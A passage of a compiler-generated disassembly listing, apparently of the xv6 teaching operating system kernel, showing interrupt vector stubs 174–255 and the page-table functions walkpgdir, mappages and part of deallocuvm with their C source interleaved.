801061b5: 68 ad 00 00 00 push $0xad jmp alltraps 801061ba: e9 aa f4 ff ff jmp 80105669 <alltraps> 801061bf <vector174>: .globl vector174 vector174: pushl $0 801061bf: 6a 00 push $0x0 pushl $174 801061c1: 68 ae 00 00 00 push $0xae jmp alltraps 801061c6: e9 9e f4 ff ff jmp 80105669 <alltraps> 801061cb <vector175>: .globl vector175 vector175: pushl $0 801061cb: 6a 00 push $0x0 pushl $175 801061cd: 68 af 00 00 00 push $0xaf jmp alltraps 801061d2: e9 92 f4 ff ff jmp 80105669 <alltraps> 801061d7 <vector176>: .globl vector176 vector176: pushl $0 801061d7: 6a 00 push $0x0 pushl $176 801061d9: 68 b0 00 00 00 push $0xb0 jmp alltraps 801061de: e9 86 f4 ff ff jmp 80105669 <alltraps> 801061e3 <vector177>: .globl vector177 vector177: pushl $0 801061e3: 6a 00 push $0x0 pushl $177 801061e5: 68 b1 00 00 00 push $0xb1 jmp alltraps 801061ea: e9 7a f4 ff ff jmp 80105669 <alltraps> 801061ef <vector178>: .globl vector178 vector178: pushl $0 801061ef: 6a 00 push $0x0 pushl $178 801061f1: 68 b2 00 00 00 push $0xb2 jmp alltraps 801061f6: e9 6e f4 ff ff jmp 80105669 <alltraps> 801061fb <vector179>: .globl vector179 vector179: pushl $0 801061fb: 6a 00 push $0x0 pushl $179 801061fd: 68 b3 00 00 00 push $0xb3 jmp alltraps 80106202: e9 62 f4 ff ff jmp 80105669 <alltraps> 80106207 <vector180>: .globl vector180 vector180: pushl $0 80106207: 6a 00 push $0x0 pushl $180 80106209: 68 b4 00 00 00 push $0xb4 jmp alltraps 8010620e: e9 56 f4 ff ff jmp 80105669 <alltraps> 80106213 <vector181>: .globl vector181 vector181: pushl $0 80106213: 6a 00 push $0x0 pushl $181 80106215: 68 b5 00 00 00 push $0xb5 jmp alltraps 8010621a: e9 4a f4 ff ff jmp 80105669 <alltraps> 8010621f <vector182>: .globl vector182 vector182: pushl $0 8010621f: 6a 00 push $0x0 pushl $182 80106221: 68 b6 00 00 00 push $0xb6 jmp alltraps 80106226: e9 3e f4 ff ff jmp 80105669 <alltraps> 8010622b <vector183>: .globl vector183 vector183: pushl $0 8010622b: 6a 00 push $0x0 pushl $183 8010622d: 68 b7 00 00 00 push $0xb7 jmp alltraps 80106232: e9 32 f4 ff ff jmp 80105669 <alltraps> 80106237 <vector184>: .globl vector184 vector184: pushl $0 80106237: 6a 00 push $0x0 pushl $184 80106239: 68 b8 00 00 00 push $0xb8 jmp alltraps 8010623e: e9 26 f4 ff ff jmp 80105669 <alltraps> 80106243 <vector185>: .globl vector185 vector185: pushl $0 80106243: 6a 00 push $0x0 pushl $185 80106245: 68 b9 00 00 00 push $0xb9 jmp alltraps 8010624a: e9 1a f4 ff ff jmp 80105669 <alltraps> 8010624f <vector186>: .globl vector186 vector186: pushl $0 8010624f: 6a 00 push $0x0 pushl $186 80106251: 68 ba 00 00 00 push $0xba jmp alltraps 80106256: e9 0e f4 ff ff jmp 80105669 <alltraps> 8010625b <vector187>: .globl vector187 vector187: pushl $0 8010625b: 6a 00 push $0x0 pushl $187 8010625d: 68 bb 00 00 00 push $0xbb jmp alltraps 80106262: e9 02 f4 ff ff jmp 80105669 <alltraps> 80106267 <vector188>: .globl vector188 vector188: pushl $0 80106267: 6a 00 push $0x0 pushl $188 80106269: 68 bc 00 00 00 push $0xbc jmp alltraps 8010626e: e9 f6 f3 ff ff jmp 80105669 <alltraps> 80106273 <vector189>: .globl vector189 vector189: pushl $0 80106273: 6a 00 push $0x0 pushl $189 80106275: 68 bd 00 00 00 push $0xbd jmp alltraps 8010627a: e9 ea f3 ff ff jmp 80105669 <alltraps> 8010627f <vector190>: .globl vector190 vector190: pushl $0 8010627f: 6a 00 push $0x0 pushl $190 80106281: 68 be 00 00 00 push $0xbe jmp alltraps 80106286: e9 de f3 ff ff jmp 80105669 <alltraps> 8010628b <vector191>: .globl vector191 vector191: pushl $0 8010628b: 6a 00 push $0x0 pushl $191 8010628d: 68 bf 00 00 00 push $0xbf jmp alltraps 80106292: e9 d2 f3 ff ff jmp 80105669 <alltraps> 80106297 <vector192>: .globl vector192 vector192: pushl $0 80106297: 6a 00 push $0x0 pushl $192 80106299: 68 c0 00 00 00 push $0xc0 jmp alltraps 8010629e: e9 c6 f3 ff ff jmp 80105669 <alltraps> 801062a3 <vector193>: .globl vector193 vector193: pushl $0 801062a3: 6a 00 push $0x0 pushl $193 801062a5: 68 c1 00 00 00 push $0xc1 jmp alltraps 801062aa: e9 ba f3 ff ff jmp 80105669 <alltraps> 801062af <vector194>: .globl vector194 vector194: pushl $0 801062af: 6a 00 push $0x0 pushl $194 801062b1: 68 c2 00 00 00 push $0xc2 jmp alltraps 801062b6: e9 ae f3 ff ff jmp 80105669 <alltraps> 801062bb <vector195>: .globl vector195 vector195: pushl $0 801062bb: 6a 00 push $0x0 pushl $195 801062bd: 68 c3 00 00 00 push $0xc3 jmp alltraps 801062c2: e9 a2 f3 ff ff jmp 80105669 <alltraps> 801062c7 <vector196>: .globl vector196 vector196: pushl $0 801062c7: 6a 00 push $0x0 pushl $196 801062c9: 68 c4 00 00 00 push $0xc4 jmp alltraps 801062ce: e9 96 f3 ff ff jmp 80105669 <alltraps> 801062d3 <vector197>: .globl vector197 vector197: pushl $0 801062d3: 6a 00 push $0x0 pushl $197 801062d5: 68 c5 00 00 00 push $0xc5 jmp alltraps 801062da: e9 8a f3 ff ff jmp 80105669 <alltraps> 801062df <vector198>: .globl vector198 vector198: pushl $0 801062df: 6a 00 push $0x0 pushl $198 801062e1: 68 c6 00 00 00 push $0xc6 jmp alltraps 801062e6: e9 7e f3 ff ff jmp 80105669 <alltraps> 801062eb <vector199>: .globl vector199 vector199: pushl $0 801062eb: 6a 00 push $0x0 pushl $199 801062ed: 68 c7 00 00 00 push $0xc7 jmp alltraps 801062f2: e9 72 f3 ff ff jmp 80105669 <alltraps> 801062f7 <vector200>: .globl vector200 vector200: pushl $0 801062f7: 6a 00 push $0x0 pushl $200 801062f9: 68 c8 00 00 00 push $0xc8 jmp alltraps 801062fe: e9 66 f3 ff ff jmp 80105669 <alltraps> 80106303 <vector201>: .globl vector201 vector201: pushl $0 80106303: 6a 00 push $0x0 pushl $201 80106305: 68 c9 00 00 00 push $0xc9 jmp alltraps 8010630a: e9 5a f3 ff ff jmp 80105669 <alltraps> 8010630f <vector202>: .globl vector202 vector202: pushl $0 8010630f: 6a 00 push $0x0 pushl $202 80106311: 68 ca 00 00 00 push $0xca jmp alltraps 80106316: e9 4e f3 ff ff jmp 80105669 <alltraps> 8010631b <vector203>: .globl vector203 vector203: pushl $0 8010631b: 6a 00 push $0x0 pushl $203 8010631d: 68 cb 00 00 00 push $0xcb jmp alltraps 80106322: e9 42 f3 ff ff jmp 80105669 <alltraps> 80106327 <vector204>: .globl vector204 vector204: pushl $0 80106327: 6a 00 push $0x0 pushl $204 80106329: 68 cc 00 00 00 push $0xcc jmp alltraps 8010632e: e9 36 f3 ff ff jmp 80105669 <alltraps> 80106333 <vector205>: .globl vector205 vector205: pushl $0 80106333: 6a 00 push $0x0 pushl $205 80106335: 68 cd 00 00 00 push $0xcd jmp alltraps 8010633a: e9 2a f3 ff ff jmp 80105669 <alltraps> 8010633f <vector206>: .globl vector206 vector206: pushl $0 8010633f: 6a 00 push $0x0 pushl $206 80106341: 68 ce 00 00 00 push $0xce jmp alltraps 80106346: e9 1e f3 ff ff jmp 80105669 <alltraps> 8010634b <vector207>: .globl vector207 vector207: pushl $0 8010634b: 6a 00 push $0x0 pushl $207 8010634d: 68 cf 00 00 00 push $0xcf jmp alltraps 80106352: e9 12 f3 ff ff jmp 80105669 <alltraps> 80106357 <vector208>: .globl vector208 vector208: pushl $0 80106357: 6a 00 push $0x0 pushl $208 80106359: 68 d0 00 00 00 push $0xd0 jmp alltraps 8010635e: e9 06 f3 ff ff jmp 80105669 <alltraps> 80106363 <vector209>: .globl vector209 vector209: pushl $0 80106363: 6a 00 push $0x0 pushl $209 80106365: 68 d1 00 00 00 push $0xd1 jmp alltraps 8010636a: e9 fa f2 ff ff jmp 80105669 <alltraps> 8010636f <vector210>: .globl vector210 vector210: pushl $0 8010636f: 6a 00 push $0x0 pushl $210 80106371: 68 d2 00 00 00 push $0xd2 jmp alltraps 80106376: e9 ee f2 ff ff jmp 80105669 <alltraps> 8010637b <vector211>: .globl vector211 vector211: pushl $0 8010637b: 6a 00 push $0x0 pushl $211 8010637d: 68 d3 00 00 00 push $0xd3 jmp alltraps 80106382: e9 e2 f2 ff ff jmp 80105669 <alltraps> 80106387 <vector212>: .globl vector212 vector212: pushl $0 80106387: 6a 00 push $0x0 pushl $212 80106389: 68 d4 00 00 00 push $0xd4 jmp alltraps 8010638e: e9 d6 f2 ff ff jmp 80105669 <alltraps> 80106393 <vector213>: .globl vector213 vector213: pushl $0 80106393: 6a 00 push $0x0 pushl $213 80106395: 68 d5 00 00 00 push $0xd5 jmp alltraps 8010639a: e9 ca f2 ff ff jmp 80105669 <alltraps> 8010639f <vector214>: .globl vector214 vector214: pushl $0 8010639f: 6a 00 push $0x0 pushl $214 801063a1: 68 d6 00 00 00 push $0xd6 jmp alltraps 801063a6: e9 be f2 ff ff jmp 80105669 <alltraps> 801063ab <vector215>: .globl vector215 vector215: pushl $0 801063ab: 6a 00 push $0x0 pushl $215 801063ad: 68 d7 00 00 00 push $0xd7 jmp alltraps 801063b2: e9 b2 f2 ff ff jmp 80105669 <alltraps> 801063b7 <vector216>: .globl vector216 vector216: pushl $0 801063b7: 6a 00 push $0x0 pushl $216 801063b9: 68 d8 00 00 00 push $0xd8 jmp alltraps 801063be: e9 a6 f2 ff ff jmp 80105669 <alltraps> 801063c3 <vector217>: .globl vector217 vector217: pushl $0 801063c3: 6a 00 push $0x0 pushl $217 801063c5: 68 d9 00 00 00 push $0xd9 jmp alltraps 801063ca: e9 9a f2 ff ff jmp 80105669 <alltraps> 801063cf <vector218>: .globl vector218 vector218: pushl $0 801063cf: 6a 00 push $0x0 pushl $218 801063d1: 68 da 00 00 00 push $0xda jmp alltraps 801063d6: e9 8e f2 ff ff jmp 80105669 <alltraps> 801063db <vector219>: .globl vector219 vector219: pushl $0 801063db: 6a 00 push $0x0 pushl $219 801063dd: 68 db 00 00 00 push $0xdb jmp alltraps 801063e2: e9 82 f2 ff ff jmp 80105669 <alltraps> 801063e7 <vector220>: .globl vector220 vector220: pushl $0 801063e7: 6a 00 push $0x0 pushl $220 801063e9: 68 dc 00 00 00 push $0xdc jmp alltraps 801063ee: e9 76 f2 ff ff jmp 80105669 <alltraps> 801063f3 <vector221>: .globl vector221 vector221: pushl $0 801063f3: 6a 00 push $0x0 pushl $221 801063f5: 68 dd 00 00 00 push $0xdd jmp alltraps 801063fa: e9 6a f2 ff ff jmp 80105669 <alltraps> 801063ff <vector222>: .globl vector222 vector222: pushl $0 801063ff: 6a 00 push $0x0 pushl $222 80106401: 68 de 00 00 00 push $0xde jmp alltraps 80106406: e9 5e f2 ff ff jmp 80105669 <alltraps> 8010640b <vector223>: .globl vector223 vector223: pushl $0 8010640b: 6a 00 push $0x0 pushl $223 8010640d: 68 df 00 00 00 push $0xdf jmp alltraps 80106412: e9 52 f2 ff ff jmp 80105669 <alltraps> 80106417 <vector224>: .globl vector224 vector224: pushl $0 80106417: 6a 00 push $0x0 pushl $224 80106419: 68 e0 00 00 00 push $0xe0 jmp alltraps 8010641e: e9 46 f2 ff ff jmp 80105669 <alltraps> 80106423 <vector225>: .globl vector225 vector225: pushl $0 80106423: 6a 00 push $0x0 pushl $225 80106425: 68 e1 00 00 00 push $0xe1 jmp alltraps 8010642a: e9 3a f2 ff ff jmp 80105669 <alltraps> 8010642f <vector226>: .globl vector226 vector226: pushl $0 8010642f: 6a 00 push $0x0 pushl $226 80106431: 68 e2 00 00 00 push $0xe2 jmp alltraps 80106436: e9 2e f2 ff ff jmp 80105669 <alltraps> 8010643b <vector227>: .globl vector227 vector227: pushl $0 8010643b: 6a 00 push $0x0 pushl $227 8010643d: 68 e3 00 00 00 push $0xe3 jmp alltraps 80106442: e9 22 f2 ff ff jmp 80105669 <alltraps> 80106447 <vector228>: .globl vector228 vector228: pushl $0 80106447: 6a 00 push $0x0 pushl $228 80106449: 68 e4 00 00 00 push $0xe4 jmp alltraps 8010644e: e9 16 f2 ff ff jmp 80105669 <alltraps> 80106453 <vector229>: .globl vector229 vector229: pushl $0 80106453: 6a 00 push $0x0 pushl $229 80106455: 68 e5 00 00 00 push $0xe5 jmp alltraps 8010645a: e9 0a f2 ff ff jmp 80105669 <alltraps> 8010645f <vector230>: .globl vector230 vector230: pushl $0 8010645f: 6a 00 push $0x0 pushl $230 80106461: 68 e6 00 00 00 push $0xe6 jmp alltraps 80106466: e9 fe f1 ff ff jmp 80105669 <alltraps> 8010646b <vector231>: .globl vector231 vector231: pushl $0 8010646b: 6a 00 push $0x0 pushl $231 8010646d: 68 e7 00 00 00 push $0xe7 jmp alltraps 80106472: e9 f2 f1 ff ff jmp 80105669 <alltraps> 80106477 <vector232>: .globl vector232 vector232: pushl $0 80106477: 6a 00 push $0x0 pushl $232 80106479: 68 e8 00 00 00 push $0xe8 jmp alltraps 8010647e: e9 e6 f1 ff ff jmp 80105669 <alltraps> 80106483 <vector233>: .globl vector233 vector233: pushl $0 80106483: 6a 00 push $0x0 pushl $233 80106485: 68 e9 00 00 00 push $0xe9 jmp alltraps 8010648a: e9 da f1 ff ff jmp 80105669 <alltraps> 8010648f <vector234>: .globl vector234 vector234: pushl $0 8010648f: 6a 00 push $0x0 pushl $234 80106491: 68 ea 00 00 00 push $0xea jmp alltraps 80106496: e9 ce f1 ff ff jmp 80105669 <alltraps> 8010649b <vector235>: .globl vector235 vector235: pushl $0 8010649b: 6a 00 push $0x0 pushl $235 8010649d: 68 eb 00 00 00 push $0xeb jmp alltraps 801064a2: e9 c2 f1 ff ff jmp 80105669 <alltraps> 801064a7 <vector236>: .globl vector236 vector236: pushl $0 801064a7: 6a 00 push $0x0 pushl $236 801064a9: 68 ec 00 00 00 push $0xec jmp alltraps 801064ae: e9 b6 f1 ff ff jmp 80105669 <alltraps> 801064b3 <vector237>: .globl vector237 vector237: pushl $0 801064b3: 6a 00 push $0x0 pushl $237 801064b5: 68 ed 00 00 00 push $0xed jmp alltraps 801064ba: e9 aa f1 ff ff jmp 80105669 <alltraps> 801064bf <vector238>: .globl vector238 vector238: pushl $0 801064bf: 6a 00 push $0x0 pushl $238 801064c1: 68 ee 00 00 00 push $0xee jmp alltraps 801064c6: e9 9e f1 ff ff jmp 80105669 <alltraps> 801064cb <vector239>: .globl vector239 vector239: pushl $0 801064cb: 6a 00 push $0x0 pushl $239 801064cd: 68 ef 00 00 00 push $0xef jmp alltraps 801064d2: e9 92 f1 ff ff jmp 80105669 <alltraps> 801064d7 <vector240>: .globl vector240 vector240: pushl $0 801064d7: 6a 00 push $0x0 pushl $240 801064d9: 68 f0 00 00 00 push $0xf0 jmp alltraps 801064de: e9 86 f1 ff ff jmp 80105669 <alltraps> 801064e3 <vector241>: .globl vector241 vector241: pushl $0 801064e3: 6a 00 push $0x0 pushl $241 801064e5: 68 f1 00 00 00 push $0xf1 jmp alltraps 801064ea: e9 7a f1 ff ff jmp 80105669 <alltraps> 801064ef <vector242>: .globl vector242 vector242: pushl $0 801064ef: 6a 00 push $0x0 pushl $242 801064f1: 68 f2 00 00 00 push $0xf2 jmp alltraps 801064f6: e9 6e f1 ff ff jmp 80105669 <alltraps> 801064fb <vector243>: .globl vector243 vector243: pushl $0 801064fb: 6a 00 push $0x0 pushl $243 801064fd: 68 f3 00 00 00 push $0xf3 jmp alltraps 80106502: e9 62 f1 ff ff jmp 80105669 <alltraps> 80106507 <vector244>: .globl vector244 vector244: pushl $0 80106507: 6a 00 push $0x0 pushl $244 80106509: 68 f4 00 00 00 push $0xf4 jmp alltraps 8010650e: e9 56 f1 ff ff jmp 80105669 <alltraps> 80106513 <vector245>: .globl vector245 vector245: pushl $0 80106513: 6a 00 push $0x0 pushl $245 80106515: 68 f5 00 00 00 push $0xf5 jmp alltraps 8010651a: e9 4a f1 ff ff jmp 80105669 <alltraps> 8010651f <vector246>: .globl vector246 vector246: pushl $0 8010651f: 6a 00 push $0x0 pushl $246 80106521: 68 f6 00 00 00 push $0xf6 jmp alltraps 80106526: e9 3e f1 ff ff jmp 80105669 <alltraps> 8010652b <vector247>: .globl vector247 vector247: pushl $0 8010652b: 6a 00 push $0x0 pushl $247 8010652d: 68 f7 00 00 00 push $0xf7 jmp alltraps 80106532: e9 32 f1 ff ff jmp 80105669 <alltraps> 80106537 <vector248>: .globl vector248 vector248: pushl $0 80106537: 6a 00 push $0x0 pushl $248 80106539: 68 f8 00 00 00 push $0xf8 jmp alltraps 8010653e: e9 26 f1 ff ff jmp 80105669 <alltraps> 80106543 <vector249>: .globl vector249 vector249: pushl $0 80106543: 6a 00 push $0x0 pushl $249 80106545: 68 f9 00 00 00 push $0xf9 jmp alltraps 8010654a: e9 1a f1 ff ff jmp 80105669 <alltraps> 8010654f <vector250>: .globl vector250 vector250: pushl $0 8010654f: 6a 00 push $0x0 pushl $250 80106551: 68 fa 00 00 00 push $0xfa jmp alltraps 80106556: e9 0e f1 ff ff jmp 80105669 <alltraps> 8010655b <vector251>: .globl vector251 vector251: pushl $0 8010655b: 6a 00 push $0x0 pushl $251 8010655d: 68 fb 00 00 00 push $0xfb jmp alltraps 80106562: e9 02 f1 ff ff jmp 80105669 <alltraps> 80106567 <vector252>: .globl vector252 vector252: pushl $0 80106567: 6a 00 push $0x0 pushl $252 80106569: 68 fc 00 00 00 push $0xfc jmp alltraps 8010656e: e9 f6 f0 ff ff jmp 80105669 <alltraps> 80106573 <vector253>: .globl vector253 vector253: pushl $0 80106573: 6a 00 push $0x0 pushl $253 80106575: 68 fd 00 00 00 push $0xfd jmp alltraps 8010657a: e9 ea f0 ff ff jmp 80105669 <alltraps> 8010657f <vector254>: .globl vector254 vector254: pushl $0 8010657f: 6a 00 push $0x0 pushl $254 80106581: 68 fe 00 00 00 push $0xfe jmp alltraps 80106586: e9 de f0 ff ff jmp 80105669 <alltraps> 8010658b <vector255>: .globl vector255 vector255: pushl $0 8010658b: 6a 00 push $0x0 pushl $255 8010658d: 68 ff 00 00 00 push $0xff jmp alltraps 80106592: e9 d2 f0 ff ff jmp 80105669 <alltraps> 80106597: 66 90 xchg %ax,%ax 80106599: 66 90 xchg %ax,%ax 8010659b: 66 90 xchg %ax,%ax 8010659d: 66 90 xchg %ax,%ax 8010659f: 90 nop 801065a0 <walkpgdir>: // Return the address of the PTE in page table pgdir // that corresponds to virtual address va. If alloc!=0, // create any required page table pages. static pte_t * walkpgdir(pde_t *pgdir, const void *va, int alloc) { 801065a0: 55 push %ebp 801065a1: 89 e5 mov %esp,%ebp 801065a3: 57 push %edi 801065a4: 56 push %esi 801065a5: 53 push %ebx 801065a6: 89 d3 mov %edx,%ebx pde_t *pde; pte_t *pgtab; pde = &pgdir[PDX(va)]; 801065a8: c1 ea 16 shr $0x16,%edx 801065ab: 8d 3c 90 lea (%eax,%edx,4),%edi // Return the address of the PTE in page table pgdir // that corresponds to virtual address va. If alloc!=0, // create any required page table pages. static pte_t * walkpgdir(pde_t *pgdir, const void *va, int alloc) { 801065ae: 83 ec 0c sub $0xc,%esp pde_t *pde; pte_t *pgtab; pde = &pgdir[PDX(va)]; if(*pde & PTE_P){ 801065b1: 8b 07 mov (%edi),%eax 801065b3: a8 01 test $0x1,%al 801065b5: 74 29 je 801065e0 <walkpgdir+0x40> pgtab = (pte_t*)P2V(PTE_ADDR(*pde)); 801065b7: 25 00 f0 ff ff and $0xfffff000,%eax 801065bc: 8d b0 00 00 00 80 lea -0x80000000(%eax),%esi // be further restricted by the permissions in the page table // entries, if necessary. *pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U; } return &pgtab[PTX(va)]; } 801065c2: 8d 65 f4 lea -0xc(%ebp),%esp // The permissions here are overly generous, but they can // be further restricted by the permissions in the page table // entries, if necessary. *pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U; } return &pgtab[PTX(va)]; 801065c5: c1 eb 0a shr $0xa,%ebx 801065c8: 81 e3 fc 0f 00 00 and $0xffc,%ebx 801065ce: 8d 04 1e lea (%esi,%ebx,1),%eax } 801065d1: 5b pop %ebx 801065d2: 5e pop %esi 801065d3: 5f pop %edi 801065d4: 5d pop %ebp 801065d5: c3 ret 801065d6: 8d 76 00 lea 0x0(%esi),%esi 801065d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi pde = &pgdir[PDX(va)]; if(*pde & PTE_P){ pgtab = (pte_t*)P2V(PTE_ADDR(*pde)); } else { if(!alloc || (pgtab = (pte_t*)kalloc()) == 0) 801065e0: 85 c9 test %ecx,%ecx 801065e2: 74 2c je 80106610 <walkpgdir+0x70> 801065e4: e8 a7 be ff ff call 80102490 <kalloc> 801065e9: 85 c0 test %eax,%eax 801065eb: 89 c6 mov %eax,%esi 801065ed: 74 21 je 80106610 <walkpgdir+0x70> return 0; // Make sure all those PTE_P bits are zero. memset(pgtab, 0, PGSIZE); 801065ef: 83 ec 04 sub $0x4,%esp 801065f2: 68 00 10 00 00 push $0x1000 801065f7: 6a 00 push $0x0 801065f9: 50 push %eax 801065fa: e8 41 de ff ff call 80104440 <memset> // The permissions here are overly generous, but they can // be further restricted by the permissions in the page table // entries, if necessary. *pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U; 801065ff: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax 80106605: 83 c4 10 add $0x10,%esp 80106608: 83 c8 07 or $0x7,%eax 8010660b: 89 07 mov %eax,(%edi) 8010660d: eb b3 jmp 801065c2 <walkpgdir+0x22> 8010660f: 90 nop } return &pgtab[PTX(va)]; } 80106610: 8d 65 f4 lea -0xc(%ebp),%esp pde = &pgdir[PDX(va)]; if(*pde & PTE_P){ pgtab = (pte_t*)P2V(PTE_ADDR(*pde)); } else { if(!alloc || (pgtab = (pte_t*)kalloc()) == 0) return 0; 80106613: 31 c0 xor %eax,%eax // be further restricted by the permissions in the page table // entries, if necessary. *pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U; } return &pgtab[PTX(va)]; } 80106615: 5b pop %ebx 80106616: 5e pop %esi 80106617: 5f pop %edi 80106618: 5d pop %ebp 80106619: c3 ret 8010661a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106620 <mappages>: // Create PTEs for virtual addresses starting at va that refer to // physical addresses starting at pa. va and size might not // be page-aligned. static int mappages(pde_t *pgdir, void *va, uint size, uint pa, int perm) { 80106620: 55 push %ebp 80106621: 89 e5 mov %esp,%ebp 80106623: 57 push %edi 80106624: 56 push %esi 80106625: 53 push %ebx char *a, *last; pte_t *pte; a = (char*)PGROUNDDOWN((uint)va); 80106626: 89 d3 mov %edx,%ebx 80106628: 81 e3 00 f0 ff ff and $0xfffff000,%ebx // Create PTEs for virtual addresses starting at va that refer to // physical addresses starting at pa. va and size might not // be page-aligned. static int mappages(pde_t *pgdir, void *va, uint size, uint pa, int perm) { 8010662e: 83 ec 1c sub $0x1c,%esp 80106631: 89 45 e4 mov %eax,-0x1c(%ebp) char *a, *last; pte_t *pte; a = (char*)PGROUNDDOWN((uint)va); last = (char*)PGROUNDDOWN(((uint)va) + size - 1); 80106634: 8d 44 0a ff lea -0x1(%edx,%ecx,1),%eax 80106638: 8b 7d 08 mov 0x8(%ebp),%edi 8010663b: 25 00 f0 ff ff and $0xfffff000,%eax 80106640: 89 45 e0 mov %eax,-0x20(%ebp) for(;;){ if((pte = walkpgdir(pgdir, a, 1)) == 0) return -1; if(*pte & PTE_P) panic("remap"); *pte = pa | perm | PTE_P; 80106643: 8b 45 0c mov 0xc(%ebp),%eax 80106646: 29 df sub %ebx,%edi 80106648: 83 c8 01 or $0x1,%eax 8010664b: 89 45 dc mov %eax,-0x24(%ebp) 8010664e: eb 15 jmp 80106665 <mappages+0x45> a = (char*)PGROUNDDOWN((uint)va); last = (char*)PGROUNDDOWN(((uint)va) + size - 1); for(;;){ if((pte = walkpgdir(pgdir, a, 1)) == 0) return -1; if(*pte & PTE_P) 80106650: f6 00 01 testb $0x1,(%eax) 80106653: 75 45 jne 8010669a <mappages+0x7a> panic("remap"); *pte = pa | perm | PTE_P; 80106655: 0b 75 dc or -0x24(%ebp),%esi if(a == last) 80106658: 3b 5d e0 cmp -0x20(%ebp),%ebx for(;;){ if((pte = walkpgdir(pgdir, a, 1)) == 0) return -1; if(*pte & PTE_P) panic("remap"); *pte = pa | perm | PTE_P; 8010665b: 89 30 mov %esi,(%eax) if(a == last) 8010665d: 74 31 je 80106690 <mappages+0x70> break; a += PGSIZE; 8010665f: 81 c3 00 10 00 00 add $0x1000,%ebx pte_t *pte; a = (char*)PGROUNDDOWN((uint)va); last = (char*)PGROUNDDOWN(((uint)va) + size - 1); for(;;){ if((pte = walkpgdir(pgdir, a, 1)) == 0) 80106665: 8b 45 e4 mov -0x1c(%ebp),%eax 80106668: b9 01 00 00 00 mov $0x1,%ecx 8010666d: 89 da mov %ebx,%edx 8010666f: 8d 34 3b lea (%ebx,%edi,1),%esi 80106672: e8 29 ff ff ff call 801065a0 <walkpgdir> 80106677: 85 c0 test %eax,%eax 80106679: 75 d5 jne 80106650 <mappages+0x30> break; a += PGSIZE; pa += PGSIZE; } return 0; } 8010667b: 8d 65 f4 lea -0xc(%ebp),%esp a = (char*)PGROUNDDOWN((uint)va); last = (char*)PGROUNDDOWN(((uint)va) + size - 1); for(;;){ if((pte = walkpgdir(pgdir, a, 1)) == 0) return -1; 8010667e: b8 ff ff ff ff mov $0xffffffff,%eax break; a += PGSIZE; pa += PGSIZE; } return 0; } 80106683: 5b pop %ebx 80106684: 5e pop %esi 80106685: 5f pop %edi 80106686: 5d pop %ebp 80106687: c3 ret 80106688: 90 nop 80106689: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106690: 8d 65 f4 lea -0xc(%ebp),%esp if(a == last) break; a += PGSIZE; pa += PGSIZE; } return 0; 80106693: 31 c0 xor %eax,%eax } 80106695: 5b pop %ebx 80106696: 5e pop %esi 80106697: 5f pop %edi 80106698: 5d pop %ebp 80106699: c3 ret last = (char*)PGROUNDDOWN(((uint)va) + size - 1); for(;;){ if((pte = walkpgdir(pgdir, a, 1)) == 0) return -1; if(*pte & PTE_P) panic("remap"); 8010669a: 83 ec 0c sub $0xc,%esp 8010669d: 68 0c 78 10 80 push $0x8010780c 801066a2: e8 c9 9c ff ff call 80100370 <panic> 801066a7: 89 f6 mov %esi,%esi 801066a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801066b0 <deallocuvm.part.0>: // Deallocate user pages to bring the process size from oldsz to // newsz. oldsz and newsz need not be page-aligned, nor does newsz // need to be less than oldsz. oldsz can be larger than the actual // process size. Returns the new process size. int deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) 801066b0: 55 push %ebp 801066b1: 89 e5 mov %esp,%ebp 801066b3: 57 push %edi 801066b4: 56 push %esi 801066b5: 53 push %ebx uint a, pa; if(newsz >= oldsz) return oldsz; a = PGROUNDUP(newsz); 801066b6: 8d 99 ff 0f 00 00 lea 0xfff(%ecx),%ebx // Deallocate user pages to bring the process size from oldsz to // newsz. oldsz and newsz need not be page-aligned, nor does newsz // need to be less than oldsz. oldsz can be larger than the actual // process size. Returns the new process size. int deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) 801066bc: 89 c7 mov %eax,%edi uint a, pa; if(newsz >= oldsz) return oldsz; a = PGROUNDUP(newsz); 801066be: 81 e3 00 f0 ff ff and $0xfffff000,%ebx // Deallocate user pages to bring the process size from oldsz to // newsz. oldsz and newsz need not be page-aligned, nor does newsz // need to be less than oldsz. oldsz can be larger than the actual // process size. Returns the new process size. int deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) 801066c4: 83 ec 1c sub $0x1c,%esp 801066c7: 89 4d e0 mov %ecx,-0x20(%ebp) if(newsz >= oldsz) return oldsz; a = PGROUNDUP(newsz); for(; a < oldsz; a += PGSIZE){ 801066ca: 39 d3 cmp %edx,%ebx 801066cc: 73 66 jae 80106734 <deallocuvm.part.0+0x84> 801066ce: 89 d6 mov %edx,%esi 801066d0: eb 3d jmp 8010670f <deallocuvm.part.0+0x5f> 801066d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi pte = walkpgdir(pgdir, (char*)a, 0); if(!pte) a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE; else if((*pte & PTE_P) != 0){ 801066d8: 8b 10 mov (%eax),%edx 801066da: f6 c2 01 test $0x1,%dl 801066dd: 74 26 je 80106705 <deallocuvm.part.0+0x55> pa = PTE_ADDR(*pte); if(pa == 0) 801066df: 81 e2 00 f0 ff ff and $0xfffff000,%edx 801066e5: 74 58 je 8010673f <deallocuvm.part.0+0x8f> panic("kfree"); char *v = P2V(pa); kfree(v); 801066e7: 83 ec 0c sub $0xc,%esp 801066ea: 81 c2 00 00 00 80 add $0x80000000,%edx 801066f0: 89 45 e4 mov %eax,-0x1c(%ebp) 801066f3: 52 push %edx 801066f4: e8 e7 bb ff ff call 801022e0 <kfree> *pte = 0; 801066f9: 8b 45 e4 mov -0x1c(%ebp),%eax 801066fc: 83 c4 10 add $0x10,%esp 801066ff: c7 00 00 00 00 00 movl $0x0,(%eax) if(newsz >= oldsz) return oldsz; a = PGROUNDUP(newsz); for(; a < oldsz; a += PGSIZE){ 80106705: 81 c3 00 10 00 00 add $0x1000,%ebx 8010670b: 39 f3 cmp %esi,%ebx 8010670d: 73 25 jae 80106734 <deallocuvm.part.0+0x84> pte = 